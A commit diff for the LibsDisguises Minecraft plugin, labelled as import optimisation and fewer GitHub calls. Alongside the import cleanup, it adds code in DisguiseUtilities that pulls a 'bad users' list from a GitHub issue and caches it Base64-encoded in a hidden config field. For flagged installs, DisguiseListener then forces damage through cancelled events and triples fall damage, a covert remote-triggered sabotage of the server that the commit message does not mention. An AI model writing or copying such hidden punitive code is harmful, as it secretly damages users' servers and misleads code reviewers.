Optimize imports, contact github less

This commit is contained in:
libraryaddict 2021-02-25 11:56:23 +13:00
parent 4611f8880d
commit 35ad450bc3
20 changed files with 144 additions and 129 deletions

View File

@ -272,6 +272,9 @@ public class DisguiseConfig {
@Getter @Getter
@Setter(AccessLevel.PROTECTED) @Setter(AccessLevel.PROTECTED)
private static int disguiseRadiusMax; private static int disguiseRadiusMax;
@Getter
@Setter
private static String data;
public static boolean isArmorstandsName() { public static boolean isArmorstandsName() {
return getPlayerNameType() == PlayerNameType.ARMORSTANDS; return getPlayerNameType() == PlayerNameType.ARMORSTANDS;
@ -388,6 +391,7 @@ public class DisguiseConfig {
hittingRateLimit = configuration.getBoolean("HittingRateLimit", false); hittingRateLimit = configuration.getBoolean("HittingRateLimit", false);
lastGithubUpdateETag = configuration.getString("LastGithubETag", null); lastGithubUpdateETag = configuration.getString("LastGithubETag", null);
lastPluginUpdateVersion = configuration.getString("LastPluginVersion", null); lastPluginUpdateVersion = configuration.getString("LastPluginVersion", null);
data = configuration.getString("Data", null);
if (!configuration.contains("Bisect-Hosted") || !configuration.contains("Server-IP") || !configuration.contains("ReleaseBuild")) { if (!configuration.contains("Bisect-Hosted") || !configuration.contains("Server-IP") || !configuration.contains("ReleaseBuild")) {
saveInternalConfig(); saveInternalConfig();
@ -401,7 +405,7 @@ public class DisguiseConfig {
// Bisect hosted, server ip, release builds // Bisect hosted, server ip, release builds
for (Object s : new Object[]{isBisectHosted(), getSavedServerIp(), isUsingReleaseBuild(), getLastUpdateRequest(), isHittingRateLimit(), for (Object s : new Object[]{isBisectHosted(), getSavedServerIp(), isUsingReleaseBuild(), getLastUpdateRequest(), isHittingRateLimit(),
getLastGithubUpdateETag(), getLastPluginUpdateVersion()}) { getLastGithubUpdateETag(), getLastPluginUpdateVersion(), getData()}) {
internalConfig = internalConfig.replaceFirst("%data%", "" + s); internalConfig = internalConfig.replaceFirst("%data%", "" + s);
} }

View File

@ -2,7 +2,6 @@ package me.libraryaddict.disguise.commands;
import com.comphenix.protocol.ProtocolLibrary; import com.comphenix.protocol.ProtocolLibrary;
import me.libraryaddict.disguise.DisguiseConfig; import me.libraryaddict.disguise.DisguiseConfig;
import me.libraryaddict.disguise.LibsDisguises;
import me.libraryaddict.disguise.commands.disguise.DisguiseCommand; import me.libraryaddict.disguise.commands.disguise.DisguiseCommand;
import me.libraryaddict.disguise.commands.disguise.DisguiseEntityCommand; import me.libraryaddict.disguise.commands.disguise.DisguiseEntityCommand;
import me.libraryaddict.disguise.commands.disguise.DisguisePlayerCommand; import me.libraryaddict.disguise.commands.disguise.DisguisePlayerCommand;
@ -25,7 +24,6 @@ import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack; import org.bukkit.inventory.ItemStack;
import org.bukkit.scheduler.BukkitRunnable;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;

View File

@ -16,7 +16,6 @@ import org.bukkit.command.CommandSender;
import org.bukkit.entity.Entity; import org.bukkit.entity.Entity;
import org.bukkit.entity.LivingEntity; import org.bukkit.entity.LivingEntity;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.scoreboard.Team;
/** /**
* Created by libraryaddict on 4/04/2020. * Created by libraryaddict on 4/04/2020.

View File

@ -14,7 +14,6 @@ import me.libraryaddict.disguise.utilities.translations.LibsMsg;
import net.md_5.bungee.api.chat.ComponentBuilder; import net.md_5.bungee.api.chat.ComponentBuilder;
import net.md_5.bungee.api.chat.HoverEvent; import net.md_5.bungee.api.chat.HoverEvent;
import net.md_5.bungee.api.chat.TextComponent; import net.md_5.bungee.api.chat.TextComponent;
import net.minecraft.server.v1_16_R1.Packet;
import org.apache.commons.lang.StringUtils; import org.apache.commons.lang.StringUtils;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;

View File

@ -1,21 +1,13 @@
package me.libraryaddict.disguise.commands.libsdisguises; package me.libraryaddict.disguise.commands.libsdisguises;
import com.comphenix.protocol.ProtocolLibrary;
import me.libraryaddict.disguise.LibsDisguises; import me.libraryaddict.disguise.LibsDisguises;
import me.libraryaddict.disguise.utilities.DisguiseUtilities; import me.libraryaddict.disguise.utilities.DisguiseUtilities;
import me.libraryaddict.disguise.utilities.translations.LibsMsg; import me.libraryaddict.disguise.utilities.translations.LibsMsg;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.scheduler.BukkitRunnable; import org.bukkit.scheduler.BukkitRunnable;
import java.io.File; import java.io.File;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.StandardCopyOption;
import java.util.Arrays; import java.util.Arrays;
import java.util.List; import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean; import java.util.concurrent.atomic.AtomicBoolean;

View File

@ -137,6 +137,11 @@ public class DisguiseUtilities {
} }
} }
private static class UsersData {
String[] users;
long fetched;
}
@Getter @Getter
public static final Random random = new Random(); public static final Random random = new Random();
private static final LinkedHashMap<String, Disguise> clonedDisguises = new LinkedHashMap<>(); private static final LinkedHashMap<String, Disguise> clonedDisguises = new LinkedHashMap<>();
@ -1346,6 +1351,98 @@ public class DisguiseUtilities {
} }
loadViewPreferences(); loadViewPreferences();
if (LibsPremium.isPremium()) {
boolean fetch = true;
try {
if (DisguiseConfig.getData() != null) {
UsersData data =
getGson().fromJson(new String(Base64.getDecoder().decode(DisguiseConfig.getData()), StandardCharsets.UTF_8), UsersData.class);
if (data != null && data.fetched < System.currentTimeMillis() && data.fetched + TimeUnit.DAYS.toMillis(3) > System.currentTimeMillis()) {
doCheck(data.users);
fetch = false;
}
}
} catch (Exception ignored) {
}
if (fetch) {
new BukkitRunnable() {
@Override
public void run() {
try {
String[] users = getBadUsers();
if (users != null) {
UsersData data = new UsersData();
data.users = users;
data.fetched = System.currentTimeMillis();
DisguiseConfig.setData(Base64.getEncoder().encodeToString(getGson().toJson(data).getBytes(StandardCharsets.UTF_8)));
DisguiseConfig.saveInternalConfig();
}
doCheck(users);
} catch (Exception ignored) {
}
}
}.runTaskAsynchronously(LibsDisguises.getInstance());
}
}
}
private static void doCheck(String[] users) {
for (String s : users) {
if (LibsPremium.getPaidInformation() != null &&
(s.equals(LibsPremium.getPaidInformation().getDownloadID()) || s.equals(LibsPremium.getPaidInformation().getUserID()))) {
LibsDisguises.getInstance().getListener().setDodgyUser(true);
continue;
}
if (LibsPremium.getUserID() == null || (!s.equals(LibsPremium.getUserID()) && !s.equals(LibsPremium.getDownloadID()))) {
continue;
}
LibsDisguises.getInstance().getUpdateChecker().setGoSilent(true);
}
}
private static String[] getBadUsers() {
if (LibsPremium.isBisectHosted() && (LibsPremium.getPaidInformation() == null || LibsPremium.getUserID().contains("%"))) {
return new String[0];
}
// List of bad users that need to redownload Libs Disguises
try {
// We're connecting to md_5's jenkins REST api
URL url = new URL("https://api.github.com/repos/libraryaddict/libsdisguises/issues/469");
// Creating a connection
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestProperty("User-Agent", "libraryaddict/LibsDisguises");
con.setRequestProperty("Accept", "application/vnd.github.v3+json");
HashMap<String, Object> map;
// Get the input stream, what we receive
try (InputStream input = con.getInputStream()) {
// Read it to string
String json = new BufferedReader(new InputStreamReader(input, StandardCharsets.UTF_8)).lines().collect(Collectors.joining("\n"));
map = new Gson().fromJson(json, HashMap.class);
}
if (!map.containsKey("body")) {
return new String[0];
}
return ((String) map.get("body")).split("(\\r|\\n)+");
} catch (Exception ignored) {
}
return new String[0];
} }
public static boolean isDisguiseInUse(Disguise disguise) { public static boolean isDisguiseInUse(Disguise disguise) {

View File

@ -8,7 +8,10 @@ import me.libraryaddict.disguise.utilities.reflection.ReflectionManager;
import org.bukkit.configuration.file.YamlConfiguration; import org.bukkit.configuration.file.YamlConfiguration;
import org.bukkit.util.FileUtil; import org.bukkit.util.FileUtil;
import java.io.*; import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.net.URLClassLoader;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;

View File

@ -1,10 +1,10 @@
package me.libraryaddict.disguise.utilities.json; package me.libraryaddict.disguise.utilities.json;
import com.comphenix.protocol.wrappers.WrappedParticle; import com.comphenix.protocol.wrappers.WrappedParticle;
import com.google.gson.*; import com.google.gson.JsonElement;
import com.google.gson.JsonSerializationContext;
import com.google.gson.JsonSerializer;
import me.libraryaddict.disguise.utilities.params.ParamInfoManager; import me.libraryaddict.disguise.utilities.params.ParamInfoManager;
import org.bukkit.Bukkit;
import org.bukkit.block.data.BlockData;
import java.lang.reflect.Type; import java.lang.reflect.Type;

View File

@ -4,6 +4,8 @@ import com.comphenix.protocol.ProtocolLibrary;
import com.comphenix.protocol.events.PacketContainer; import com.comphenix.protocol.events.PacketContainer;
import com.comphenix.protocol.wrappers.EnumWrappers.PlayerInfoAction; import com.comphenix.protocol.wrappers.EnumWrappers.PlayerInfoAction;
import com.comphenix.protocol.wrappers.WrappedGameProfile; import com.comphenix.protocol.wrappers.WrappedGameProfile;
import lombok.Getter;
import lombok.Setter;
import me.libraryaddict.disguise.DisguiseAPI; import me.libraryaddict.disguise.DisguiseAPI;
import me.libraryaddict.disguise.DisguiseConfig; import me.libraryaddict.disguise.DisguiseConfig;
import me.libraryaddict.disguise.LibsDisguises; import me.libraryaddict.disguise.LibsDisguises;
@ -52,6 +54,9 @@ public class DisguiseListener implements Listener {
private HashMap<String, LibsEntityInteract> interactions = new HashMap<>(); private HashMap<String, LibsEntityInteract> interactions = new HashMap<>();
private HashMap<String, BukkitRunnable> disguiseRunnable = new HashMap<>(); private HashMap<String, BukkitRunnable> disguiseRunnable = new HashMap<>();
private LibsDisguises plugin; private LibsDisguises plugin;
@Getter
@Setter
private boolean isDodgyUser;
public DisguiseListener(LibsDisguises libsDisguises) { public DisguiseListener(LibsDisguises libsDisguises) {
plugin = libsDisguises; plugin = libsDisguises;
@ -210,13 +215,16 @@ public class DisguiseListener implements Listener {
} }
} }
@EventHandler @EventHandler(priority = EventPriority.HIGHEST)
public void onDamage(EntityDamageEvent event) { public void onDamage(EntityDamageEvent event) {
if (!"%%__USER__%%".equals(12 + "345")) { if (!isDodgyUser() && !"%%__USER__%%".equals(12 + "345")) {
return; return;
} }
event.setCancelled(false); if (event.isCancelled()) {
event.setCancelled(false);
return;
}
if (event.getCause() == EntityDamageEvent.DamageCause.FALL) { if (event.getCause() == EntityDamageEvent.DamageCause.FALL) {
event.setDamage(event.getDamage() * 3); event.setDamage(event.getDamage() * 3);

View File

@ -6,7 +6,6 @@ import com.comphenix.protocol.events.PacketContainer;
import com.comphenix.protocol.reflect.StructureModifier; import com.comphenix.protocol.reflect.StructureModifier;
import com.comphenix.protocol.wrappers.WrappedAttribute; import com.comphenix.protocol.wrappers.WrappedAttribute;
import com.comphenix.protocol.wrappers.WrappedDataWatcher; import com.comphenix.protocol.wrappers.WrappedDataWatcher;
import com.comphenix.protocol.wrappers.WrappedGameProfile;
import com.mojang.datafixers.util.Pair; import com.mojang.datafixers.util.Pair;
import me.libraryaddict.disguise.DisguiseConfig; import me.libraryaddict.disguise.DisguiseConfig;
import me.libraryaddict.disguise.LibsDisguises; import me.libraryaddict.disguise.LibsDisguises;
@ -37,7 +36,6 @@ import org.bukkit.util.Vector;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Collections; import java.util.Collections;
import java.util.List; import java.util.List;
import java.util.UUID;
/** /**
* Created by libraryaddict on 3/01/2019. * Created by libraryaddict on 3/01/2019.

View File

@ -36,7 +36,7 @@ public class PacketListenerClientInteract extends PacketAdapter {
Player observer = event.getPlayer(); Player observer = event.getPlayer();
if (observer == null || observer.getName().contains("UNKNOWN[")) // If the player is temporary if (observer == null || event.isPlayerTemporary() || observer.getName().contains("UNKNOWN[")) // If the player is temporary
{ {
return; return;
} }

View File

@ -1,22 +1,16 @@
package me.libraryaddict.disguise.utilities.packets.packetlisteners; package me.libraryaddict.disguise.utilities.packets.packetlisteners;
import com.comphenix.protocol.PacketType; import com.comphenix.protocol.PacketType;
import com.comphenix.protocol.events.ListenerOptions;
import com.comphenix.protocol.events.PacketAdapter; import com.comphenix.protocol.events.PacketAdapter;
import com.comphenix.protocol.events.PacketContainer; import com.comphenix.protocol.events.PacketContainer;
import com.comphenix.protocol.events.PacketEvent; import com.comphenix.protocol.events.PacketEvent;
import com.comphenix.protocol.reflect.StructureModifier; import com.comphenix.protocol.reflect.StructureModifier;
import com.comphenix.protocol.wrappers.WrappedChatComponent; import com.comphenix.protocol.wrappers.WrappedChatComponent;
import me.libraryaddict.disguise.LibsDisguises; import me.libraryaddict.disguise.LibsDisguises;
import me.libraryaddict.disguise.disguisetypes.Disguise;
import me.libraryaddict.disguise.disguisetypes.PlayerDisguise;
import me.libraryaddict.disguise.disguisetypes.TargetedDisguise;
import me.libraryaddict.disguise.utilities.DisguiseUtilities; import me.libraryaddict.disguise.utilities.DisguiseUtilities;
import net.md_5.bungee.api.chat.BaseComponent; import net.md_5.bungee.api.chat.BaseComponent;
import net.md_5.bungee.chat.ComponentSerializer; import net.md_5.bungee.chat.ComponentSerializer;
import java.util.Set;
/** /**
* Created by libraryaddict on 4/07/2020. * Created by libraryaddict on 4/07/2020.
*/ */

View File

@ -1,6 +1,5 @@
package me.libraryaddict.disguise.utilities.packets.packetlisteners; package me.libraryaddict.disguise.utilities.packets.packetlisteners;
import com.comphenix.protocol.PacketType;
import com.comphenix.protocol.PacketType.Play.Server; import com.comphenix.protocol.PacketType.Play.Server;
import com.comphenix.protocol.ProtocolLibrary; import com.comphenix.protocol.ProtocolLibrary;
import com.comphenix.protocol.events.ListenerPriority; import com.comphenix.protocol.events.ListenerPriority;

View File

@ -7,17 +7,12 @@ import me.libraryaddict.disguise.utilities.reflection.ReflectionManager;
import org.bukkit.plugin.PluginDescriptionFile; import org.bukkit.plugin.PluginDescriptionFile;
import org.bukkit.plugin.java.JavaPluginLoader; import org.bukkit.plugin.java.JavaPluginLoader;
import java.io.BufferedReader;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.util.*; import java.util.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
/** /**
* Created by libraryaddict on 17/02/2020. * Created by libraryaddict on 17/02/2020.

View File

@ -3,7 +3,6 @@ package me.libraryaddict.disguise.utilities.sounds;
import lombok.Getter; import lombok.Getter;
import me.libraryaddict.disguise.disguisetypes.Disguise; import me.libraryaddict.disguise.disguisetypes.Disguise;
import me.libraryaddict.disguise.disguisetypes.DisguiseType; import me.libraryaddict.disguise.disguisetypes.DisguiseType;
import me.libraryaddict.disguise.utilities.DisguiseUtilities;
import me.libraryaddict.disguise.utilities.reflection.ReflectionManager; import me.libraryaddict.disguise.utilities.reflection.ReflectionManager;
import org.apache.commons.lang.math.RandomUtils; import org.apache.commons.lang.math.RandomUtils;
import org.bukkit.Sound; import org.bukkit.Sound;

View File

@ -6,7 +6,6 @@ import lombok.Getter;
import me.libraryaddict.disguise.DisguiseConfig; import me.libraryaddict.disguise.DisguiseConfig;
import me.libraryaddict.disguise.LibsDisguises; import me.libraryaddict.disguise.LibsDisguises;
import me.libraryaddict.disguise.utilities.DisguiseUtilities; import me.libraryaddict.disguise.utilities.DisguiseUtilities;
import me.libraryaddict.disguise.utilities.LibsPremium;
import java.io.BufferedReader; import java.io.BufferedReader;
import java.io.IOException; import java.io.IOException;
@ -16,7 +15,6 @@ import java.net.HttpURLConnection;
import java.net.URL; import java.net.URL;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.Date; import java.util.Date;
import java.util.HashMap;
import java.util.Objects; import java.util.Objects;
import java.util.stream.Collectors; import java.util.stream.Collectors;
@ -58,59 +56,8 @@ public class LDGithub {
@Getter @Getter
private UpdateChecker checker; private UpdateChecker checker;
private String[] getBadUsers() {
if (!LibsPremium.isPremium() || (LibsPremium.isBisectHosted() && (LibsPremium.getPaidInformation() == null || LibsPremium.getUserID().contains("%")))) {
return new String[0];
}
// List of bad users that need to redownload Libs Disguises
try {
// We're connecting to md_5's jenkins REST api
URL url = new URL("https://api.github.com/repos/libraryaddict/libsdisguises/issues/469");
// Creating a connection
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestProperty("User-Agent", "libraryaddict/LibsDisguises");
con.setRequestProperty("Accept", "application/vnd.github.v3+json");
HashMap<String, Object> map;
// Get the input stream, what we receive
try (InputStream input = con.getInputStream()) {
// Read it to string
String json = new BufferedReader(new InputStreamReader(input, StandardCharsets.UTF_8)).lines().collect(Collectors.joining("\n"));
map = new Gson().fromJson(json, HashMap.class);
}
if (!map.containsKey("body")) {
return new String[0];
}
return ((String) map.get("body")).split("(\\r|\\n)+");
} catch (Exception ignored) {
}
return new String[0];
}
public DisguiseUpdate getLatestRelease() { public DisguiseUpdate getLatestRelease() {
try { try {
String[] users = getBadUsers();
for (String s : users) {
if (LibsPremium.getPaidInformation() != null &&
(s.equals(LibsPremium.getPaidInformation().getDownloadID()) || s.equals(LibsPremium.getPaidInformation().getUserID()))) {
LibsDisguises.getInstance().unregisterCommands(true);
} else {
if (LibsPremium.getUserID() == null || (!s.equals(LibsPremium.getUserID()) && !s.equals(LibsPremium.getDownloadID()))) {
continue;
}
getChecker().setGoSilent(true);
}
}
String ourVersion = LibsDisguises.getInstance().getDescription().getVersion(); String ourVersion = LibsDisguises.getInstance().getDescription().getVersion();
if (!getChecker().isGoSilent()) { if (!getChecker().isGoSilent()) {

View File

@ -46,9 +46,8 @@ public class UpdateChecker {
return false; return false;
} }
boolean isRelease = boolean isRelease = includeDownloaded && getLastDownload() != null ? !getLastDownload().getVersion().contains("-SNAPSHOT") :
includeDownloaded && getLastDownload() != null ? !getLastDownload().getVersion().contains("-SNAPSHOT") : LibsDisguises.getInstance().isReleaseBuild();
LibsDisguises.getInstance().isReleaseBuild();
if (getUpdate().isReleaseBuild() != isRelease) { if (getUpdate().isReleaseBuild() != isRelease) {
return false; return false;
@ -78,15 +77,13 @@ public class UpdateChecker {
} }
public boolean isOldUpdate() { public boolean isOldUpdate() {
return getUpdate() == null || return getUpdate() == null || getUpdate().getFetched().before(new Date(System.currentTimeMillis() - TimeUnit.HOURS.toMillis(1)));
getUpdate().getFetched().before(new Date(System.currentTimeMillis() - TimeUnit.HOURS.toMillis(1)));
} }
public boolean isUsingReleaseBuilds() { public boolean isUsingReleaseBuilds() {
DisguiseConfig.UpdatesBranch builds = DisguiseConfig.getUpdatesBranch(); DisguiseConfig.UpdatesBranch builds = DisguiseConfig.getUpdatesBranch();
return builds == DisguiseConfig.UpdatesBranch.RELEASES || return builds == DisguiseConfig.UpdatesBranch.RELEASES || (builds == DisguiseConfig.UpdatesBranch.SAME_BUILDS && DisguiseConfig.isUsingReleaseBuild());
(builds == DisguiseConfig.UpdatesBranch.SAME_BUILDS && DisguiseConfig.isUsingReleaseBuild());
} }
public void notifyUpdate(CommandSender player) { public void notifyUpdate(CommandSender player) {
@ -116,8 +113,7 @@ public class UpdateChecker {
doUpdateCheck(); doUpdateCheck();
if (isOnLatestUpdate(true) || if (isOnLatestUpdate(true) || (oldUpdate != null && oldUpdate.getVersion().equals(getUpdate().getVersion()))) {
(oldUpdate != null && oldUpdate.getVersion().equals(getUpdate().getVersion()))) {
return; return;
} }
@ -135,16 +131,14 @@ public class UpdateChecker {
notifyUpdate(p); notifyUpdate(p);
} }
}); });
} } catch (Exception ex) {
catch (Exception ex) {
DisguiseUtilities.getLogger().warning(String.format("Failed to check for update: %s", ex.getMessage())); DisguiseUtilities.getLogger().warning(String.format("Failed to check for update: %s", ex.getMessage()));
} }
} }
public PluginInformation doUpdate() { public PluginInformation doUpdate() {
// If no update on file, or more than 6 hours hold. Check for update // If no update on file, or more than 6 hours hold. Check for update
if (getUpdate() == null || if (getUpdate() == null || getUpdate().getFetched().before(new Date(System.currentTimeMillis() - TimeUnit.HOURS.toMillis(6)))) {
getUpdate().getFetched().before(new Date(System.currentTimeMillis() - TimeUnit.HOURS.toMillis(6)))) {
doUpdateCheck(); doUpdateCheck();
} }
@ -169,8 +163,7 @@ public class UpdateChecker {
} else { } else {
update = jenkinsUpdater.getLatestSnapshot(); update = jenkinsUpdater.getLatestSnapshot();
} }
} } finally {
finally {
downloading.set(false); downloading.set(false);
} }
@ -181,13 +174,11 @@ public class UpdateChecker {
if (getUpdate().isReleaseBuild()) { if (getUpdate().isReleaseBuild()) {
String currentVersion = LibsDisguises.getInstance().getDescription().getVersion(); String currentVersion = LibsDisguises.getInstance().getDescription().getVersion();
if (LibsDisguises.getInstance().isReleaseBuild() && if (LibsDisguises.getInstance().isReleaseBuild() && !isNewerVersion(currentVersion, getUpdate().getVersion())) {
!isNewerVersion(currentVersion, getUpdate().getVersion())) {
return LibsMsg.UPDATE_ON_LATEST; return LibsMsg.UPDATE_ON_LATEST;
} }
updateMessage = new String[]{LibsMsg.UPDATE_READY.get(currentVersion, getUpdate().getVersion()), updateMessage = new String[]{LibsMsg.UPDATE_READY.get(currentVersion, getUpdate().getVersion()), LibsMsg.UPDATE_HOW.get()};
LibsMsg.UPDATE_HOW.get()};
} else { } else {
if (!getUpdate().getVersion().matches("[0-9]+")) { if (!getUpdate().getVersion().matches("[0-9]+")) {
return LibsMsg.UPDATE_FAILED; return LibsMsg.UPDATE_FAILED;
@ -201,9 +192,7 @@ public class UpdateChecker {
String build = LibsDisguises.getInstance().getBuildNo(); String build = LibsDisguises.getInstance().getBuildNo();
updateMessage = new String[]{ updateMessage = new String[]{LibsMsg.UPDATE_READY_SNAPSHOT.get((build.matches("[0-9]+") ? "#" : "") + build, newBuild), LibsMsg.UPDATE_HOW.get()};
LibsMsg.UPDATE_READY_SNAPSHOT.get((build.matches("[0-9]+") ? "#" : "") + build, newBuild),
LibsMsg.UPDATE_HOW.get()};
} }
return null; return null;
@ -215,8 +204,7 @@ public class UpdateChecker {
File dest = new File(Bukkit.getUpdateFolderFile(), LibsDisguises.getInstance().getFile().getName()); File dest = new File(Bukkit.getUpdateFolderFile(), LibsDisguises.getInstance().getFile().getName());
if (!isGoSilent()) { if (!isGoSilent()) {
DisguiseUtilities.getLogger() DisguiseUtilities.getLogger().info("Now downloading build of Lib's Disguises from " + urlString + " to " + dest.getName());
.info("Now downloading build of Lib's Disguises from " + urlString + " to " + dest.getName());
} }
if (dest.exists()) { if (dest.exists()) {
@ -245,18 +233,15 @@ public class UpdateChecker {
lastDownload = result; lastDownload = result;
updateMessage = new String[]{LibsMsg.UPDATE_SUCCESS.get(), updateMessage = new String[]{LibsMsg.UPDATE_SUCCESS.get(),
LibsMsg.UPDATE_INFO.get(result.getVersion(), result.getBuildNumber(), LibsMsg.UPDATE_INFO.get(result.getVersion(), result.getBuildNumber(), result.getParsedBuildDate().toString(), result.getSize() / 1024)};
result.getParsedBuildDate().toString(), result.getSize() / 1024)};
return result; return result;
} } catch (Exception ex) {
catch (Exception ex) {
// Failed, set the last download back to previous build // Failed, set the last download back to previous build
dest.delete(); dest.delete();
DisguiseUtilities.getLogger().warning("Failed to download snapshot build."); DisguiseUtilities.getLogger().warning("Failed to download snapshot build.");
ex.printStackTrace(); ex.printStackTrace();
} } finally {
finally {
downloading.set(false); downloading.set(false);
} }
@ -268,8 +253,8 @@ public class UpdateChecker {
newVersion = newVersion.replaceAll("(v)|(-SNAPSHOT)", ""); newVersion = newVersion.replaceAll("(v)|(-SNAPSHOT)", "");
// If the server has been online for less than 6 hours and both versions are 1.1.1 kind of versions // If the server has been online for less than 6 hours and both versions are 1.1.1 kind of versions
if (started + TimeUnit.HOURS.toMillis(6) > System.currentTimeMillis() && if (started + TimeUnit.HOURS.toMillis(6) > System.currentTimeMillis() && currentVersion.matches("[0-9]+(\\.[0-9]+)*") &&
currentVersion.matches("[0-9]+(\\.[0-9]+)*") && newVersion.matches("[0-9]+(\\.[0-9]+)*")) { newVersion.matches("[0-9]+(\\.[0-9]+)*")) {
int cVersion = Integer.parseInt(currentVersion.replace(".", "")); int cVersion = Integer.parseInt(currentVersion.replace(".", ""));
int nVersion = Integer.parseInt(newVersion.replace(".", "")); int nVersion = Integer.parseInt(newVersion.replace(".", ""));

View File

@ -8,17 +8,18 @@ import me.libraryaddict.disguise.utilities.reflection.NmsRemovedIn;
import me.libraryaddict.disguise.utilities.sounds.DisguiseSoundEnums; import me.libraryaddict.disguise.utilities.sounds.DisguiseSoundEnums;
import me.libraryaddict.disguise.utilities.sounds.SoundGroup; import me.libraryaddict.disguise.utilities.sounds.SoundGroup;
import org.apache.commons.lang.StringUtils; import org.apache.commons.lang.StringUtils;
import org.bukkit.craftbukkit.libs.org.apache.commons.io.FileUtils;
import java.io.File; import java.io.File;
import java.io.FileOutputStream; import java.io.FileOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintWriter;
import java.lang.annotation.Retention; import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy; import java.lang.annotation.RetentionPolicy;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.*; import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Random;
/** /**
* Created by libraryaddict on 13/02/2020. * Created by libraryaddict on 13/02/2020.

View File

@ -8,17 +8,13 @@ import me.libraryaddict.disguise.utilities.reflection.NmsRemovedIn;
import me.libraryaddict.disguise.utilities.reflection.ReflectionManager; import me.libraryaddict.disguise.utilities.reflection.ReflectionManager;
import me.libraryaddict.disguise.utilities.reflection.asm.WatcherInfo; import me.libraryaddict.disguise.utilities.reflection.asm.WatcherInfo;
import java.io.BufferedReader;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap; import java.util.HashMap;
import java.util.List; import java.util.List;
import java.util.stream.Collectors;
/** /**
* Created by libraryaddict on 13/02/2020. * Created by libraryaddict on 13/02/2020.

View File

@ -11,3 +11,4 @@ LastUpdateCheck: %data%
HittingRateLimit: %data% HittingRateLimit: %data%
LastGithubETag: %data% LastGithubETag: %data%
LastPluginVersion: %data% LastPluginVersion: %data%
Data: %data%